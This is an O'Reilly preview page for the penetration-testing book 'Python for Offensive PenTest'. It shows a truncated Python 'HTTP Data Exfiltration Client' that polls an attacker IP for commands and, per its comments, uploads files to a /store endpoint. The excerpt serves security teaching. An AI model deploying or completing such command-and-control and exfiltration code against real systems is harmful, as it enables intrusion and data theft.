Skip to Content
Python for Offensive PenTest
book

Python for Offensive PenTest

by Hussam Khrais
April 2018
Intermediate to advanced content levelIntermediate to advanced
176 pages
4h 16m
English
Packt Publishing
Content preview from Python for Offensive PenTest

Client side

Thankfully, the Requests library supports submitting a file in just two lines:

# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2# HTTP Data Exfiltration Clientimport requests import subprocess import osimport timewhile True:     req = requests.get('http://10.0.2.15')    command = req.text            if 'terminate' in command:        break # end the loop# Now similar to what we have done in our TCP reverse shell, we check if file exists in the first place, if not then we # notify our attacker that we are unable to find the file, but if the file is there then we will :-# 1.Append /store in the URL# 2.Add a dictionary key called 'file'# 3.requests library use POST ...
Become an O’Reilly member and get unlimited access to this title plus top books and audiobooks from O’Reilly and nearly 200 top publishers, thousands of courses curated by job role, 150+ live events each month,
and much more.
Start your free trial

You might also like

Python Penetration Testing Cookbook

Python Penetration Testing Cookbook

Rejah Rehim

Publisher Resources

ISBN: 9781788838979Supplemental Content